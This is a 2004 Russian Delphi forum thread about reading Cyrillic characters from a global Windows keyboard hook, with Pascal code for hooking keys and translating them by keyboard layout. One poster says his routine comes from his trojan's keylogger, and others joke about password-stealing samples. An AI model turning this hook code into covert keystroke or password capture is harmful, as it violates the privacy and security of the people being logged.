Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2004.12.26;
Скачать: CL | DM;

Вниз

Как по хуку клавиатуры получить русские буквы?   Найти похожие ветки 

 
Aleksandr.   (2004-11-09 13:08) [0]

Попытался по-простому: сделал dllку с хуком на клавиатуру, все, что она делает - швыряет сообщение без изменений моему приложению, а то пересылает его обычному Memo, но уже с командой WM_KEYDOWN. И все зюквы, понятно, получаются латинскими. Соответственно, попробовал получать KeyBoardLayout приложения, в котором была нажата клавиша, чтобы включить соответствующую раскладку в приемнике, но вот нифига оно не получается:


function KeyboardProc(code: integer; wParam: longint; lp: longint): longint; stdcall;
var
 H : HKL;
 hw: HWND;
 c : cardinal;
 d : cardinal;
begin
 Result:=0;
 if code<0 then
   Result:=CallNextHookEx(GlobalHook,Code,wParam,lP)
 else begin
   if Code IN [HC_ACTION, HC_NOREMOVE] then begin
     if (LP shr 16) AND KF_UP=0 then begin
       HW:=GetForeGroundWindow();
       if (HW=0) OR (HW=ReceiveWnd) then
         h:=GetKeyBoardLayout(0) AND $FFFF
       else begin
         d:=GetWindowThreadProcessID(HW,@c);
         H:=GetKeyboardLayout(D) AND $FFFF;
       end;
       if h=$419 then
         PostMessage(ReceiveWnd,WM_KEYHOOKRus,WParam,LP)
       else
         PostMessage(ReceiveWnd,WM_KEYHOOKEng,WParam,LP);
       end
     end
     else
       Result:=CallNextHookEx(GlobalHook, Code, wParam, lp)
   end
end;

// код в приложении-приемнике:
procedure TKeyHooker.WndProc(var Message: TMessage);
begin
 if Message.Msg=WM_KEYHOOKRus then begin
   if GetLayout<>aglRus then
     SetLayout(aglRus);
   PostMessage(Memo.Handle,WM_KEYDOWN,Message.WParam,Message.LParam)
 end
 else if Message.Msg=WM_KEYHOOKEng then begin
   if ri_utils.GetLayout<>aglEng then
     ri_utils.SetLayout(aglEng);
   PostMessage(Memo.Handle,WM_KEYDOWN,Message.WParam,Message.LParam)
 end
 else
   Inherited
end;


Почему не удается получить локале приложения, получившего сообщение, или есть какой-то истчо способ получить реально нажатую клавишу? В Инете сотни страничек с описаниями хука, но все они повторяют три примера (один из которых истчо и с ошибкой - один упустил, а другие бездумно копировали), и ни один не описывает, как получить русскую зюкву.


 
Digitman ©   (2004-11-09 13:24) [1]


> И все зюквы, понятно, получаются латинскими


"зюква" - этт-о чтот-то


 
Aleksandr.   (2004-11-09 14:36) [2]

Мда. Похоже, в теории весь дельфийский инет силен, а на практике пользовались только те, кого устраивали примерчики для хака паролей, все рисующие только большими латинскими буквами...


 
Digitman ©   (2004-11-09 17:27) [3]


> Aleksand


прежде чем гнуть пальцы разберись, что есть "буква", а что есть "код символа"

разберись так же в том, какое отношение KeyboardLayout имеет к CodePage


 
Wiz@rd   (2004-11-09 17:40) [4]

Вот как я делал (главное сюда передать wparam, lparam), думаю всё понятно:

procedure OnKeyHookEx (CDS: TCopyDataStruct);
var
 S: String;
 c: char;
 ClassName: array [0..255] of Char;
 Buffer: array [0..50] of Char;
 Flags : Word;
 NeedLog: Boolean;
 ks: TKeyboardState;
 kl: HKL;
 shift: Boolean;
 WMHookStruct: TWMHookStruct;

begin
 if CDS.dwData <> CD_KEYMESSAGE then Exit;
   WMHookStruct := PWMHookStruct (CDS.lpData)^;
   NeedLog := False;

   GetKeyNameText (WMHookStruct.lParam, @Buffer, SizeOf(Buffer));
   GetKeyboardState (ks);
   kl := GetKeyboardLayout (GetWindowThreadProcessId (GetForegroundWindow));
   ToAsciiEx (WMHookStruct.wParam, MapVirtualKey(WMHookStruct.wParam, 0), ks, @c, 0, KL);
   shift := GetKeyState (VK_SHIFT) <> 0;
   if (Ord (c) in [Ord("A")..Ord("Z")]) or (Ord (c) in [Ord("a")..Ord("z")]) or
   (Ord (c) in [Ord("А")..Ord("Я")]) or (Ord (c) in [Ord("а")..Ord("я")]) then
   begin
     S := c;
     if Shift then
       c := char(Ord(c) + 32);
   end
   else                                    
   if (Ord(c) in [32..64, 91..96, 123..191]) then
   begin
     s := c;
   end;
   
   Flags := WMHookStruct.lParam shr 16;
   if (Flags and KF_UP) <> 0 then
   begin
     //S := S + " down"
   end
   else
   if (Flags and KF_REPEAT) <> 0 then
   begin
     //S := S + " repeat"
   end
   else
   begin
     //S := S + " up";
     NeedLog := True;
     //Beep(500, 100);
   end;

 //s - здеся результат
end;


 
Aleksandr.   (2004-11-09 17:46) [5]

Digitman ©  :
Спасибо за добрые и ласковые ответы... Что-то никаких примеров от Вас я не видел, так что кто тут гнет пальцы? Или посмотрите сами на самплы, в том числе присутствующие и на сем славном сайте.
С получением русских букв я разобрался, перенеся получение текущего HKL в WndProc приложения. Истчо бы понять, почему приложения типа ICQ или IE AV выкидывают в дллке при вводе адреса либо сообщения и нажатия Enter.


 
Aleksandr.   (2004-11-09 17:49) [6]

2 Wiz@rd  :
Круто! Скажите, а у Вас вышеупомянутые мной AV не вылетали?


 
Игорь Шевченко ©   (2004-11-09 17:51) [7]


> только те, кого устраивали примерчики для хака паролей,
> все рисующие только большими латинскими буквами...


Ибо нефиг хакать пароли, написанные русскими буквами


 
Aleksandr.   (2004-11-09 17:59) [8]

Игорь Шевченко ©  :
Гы, дык если бы для энтого, я бы готовыми обошелся как-нить... Нетрудно прогнать два варианта - латинский и конвертнутый в русский. Я вообще начал с того, что нужно было кое-какие сообщения просмотреть в рабочем приложении, а потом решил - а чего бы тогда и универсальное не сделать, по галочке врубать нужные хуки... И резко приплыл на русских буквах. Теперь с ними управился, и пытаюсь понять природу AV для типов WH_KEYBOARD, WH_GetMessage...


 
Wiz@rd   (2004-11-09 19:07) [9]

Нет, никаких AV не было


 
Aleksandr.   (2004-11-09 19:48) [10]

Wiz@rd :
Странно. Я попробовал счас повторить ситуацию через WM_CopyData по аналогии с Вашим кодом, опять повторил эксперимент: набрал адрес в эксплорере и нажал Enter, и опять та же AV вылетела. К слову сказать, все до единого самплы (и приведенный на этом сайте) в этой ситуации выдают AV. TWMHookStruct - это же Ваша структура?


 
Wiz@rd   (2004-11-09 19:50) [11]

Да какая разница какая структура, это у меня кейлог из длл в главное приложение данные посылал, просто там где нужно поставь свой wparam, lparam...


 
Aleksandr.   (2004-11-09 20:24) [12]

Wiz@rd :
А у себя вариант с вводом адреса в IE не пробовали?


 
Wiz@rd   (2004-11-09 22:02) [13]

Этот код из моего троя - прошёл огонь, воду, медные трубы и витую пару, и всё было ok



Страницы: 1 вся ветка

Текущий архив: 2004.12.26;
Скачать: CL | DM;

Наверх




Память: 0.5 MB
Время: 0.022 c
4-1097473620
Rentgen
2004-10-11 09:47
2004.12.26
Включить компьютер.


1-1102873594
Павел
2004-12-12 20:46
2004.12.26
Очистка буфера Com порта.


14-1102242802
__inline
2004-12-05 13:33
2004.12.26
Гараж для авто


14-1102443485
Igorek
2004-12-07 21:18
2004.12.26
Как приготовить кокос?


14-1102134213
Думкин
2004-12-04 07:23
2004.12.26
С днем рождения! 4 декабря